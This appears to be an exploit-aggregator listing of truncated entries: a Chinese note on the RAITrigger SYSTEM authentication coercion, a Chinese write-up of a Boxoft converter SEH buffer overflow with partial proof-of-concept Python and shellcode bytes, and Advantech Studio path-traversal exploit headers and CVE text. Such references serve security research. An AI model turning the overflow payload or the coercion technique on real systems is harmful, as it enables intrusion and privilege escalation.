RAITrigger

RAITrigger 来自 appinfo.dll 库的 RPC 函数 RAiForceElevationPromptForCOM 允许进行 SYSTEM 强制认证。这仅在已加入域的系统 上有效。事实证明，任何低权限用户都可以调用此函数（不是为了启动进程），而是为了触发 SYSTEM 向任意位置进行身份验证。这是因为 CreateFileW 会以 SYSTEM 身份被调用到第一个输入参数所指向的位置： 由于仍然模拟的是低权限用户，这不能用作 Potato 触发器来将权限从 SEImpersonate 提升到 SYSTEM： 但它可以与传入的 SMB 身份验证一起，在启用 Web 注册时用...

Boxoft WAV to MP3 Converter - convert 特性缓冲区溢出

首先拿到poc，先看看，明显的溢出，利用的是SEH的结构 !/usr/bin/python using=utf-8 f = open"malicious.aiff", "w" f.write"A"4132 f.write"\xeb\x06\x90\x90"nseh f.write"\xa4\x43\x40\x00"seh Shellcode: windows/exec - 277 bytes CMD=calc.exe f.write"\x90"20 f.write"\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"...

Advantech Studio 7.0 - SCADA/HMI Directory Traversal 0day

No description provided by source. Exploit Title: Advantech Studio v7.0 SCADA/HMI Directory Traversal 0-day Google Dork: N/A Date: 2012-12-03 Exploit Author: Nin3 Vendor Homepage: http://advantech.com.tw Version: 7.0 Build Number 0501.1111.0402.0000 Tested on: Windows CVE : N/A ''' Advantech Stud...

CVE-2013-1627

Absolute path traversal vulnerability in NTWebServer.exe in Indusoft Studio 7.0 and earlier and Advantech Studio 7.0 and earlier allows remote attackers to read arbitrary files via a full pathname in an argument to the sub401A90 CreateFileW function...

Path traversal

Absolute path traversal vulnerability in NTWebServer.exe in Indusoft Studio 7.0 and earlier and Advantech Studio 7.0 and earlier allows remote attackers to read arbitrary files via a full pathname in an argument to the sub401A90 CreateFileW function...

CVE-2013-1627

Absolute path traversal vulnerability in NTWebServer.exe in Indusoft Studio 7.0 and earlier and Advantech Studio 7.0 and earlier allows remote attackers to read arbitrary files via a full pathname in an argument to the sub401A90 CreateFileW function...

Advantech Studio 7.0 - SCADA/HMI Directory Traversal

Exploit Title: Advantech Studio v7.0 SCADA/HMI Directory Traversal 0-day Google Dork: N/A Date: 2012-12-03 Exploit Author: Nin3 Vendor Homepage: http://advantech.com.tw Version: 7.0 Build Number 0501.1111.0402.0000 Tested on: Windows CVE : N/A ''' Advantech Studio v7.0 SCADA/HMI has a built in we...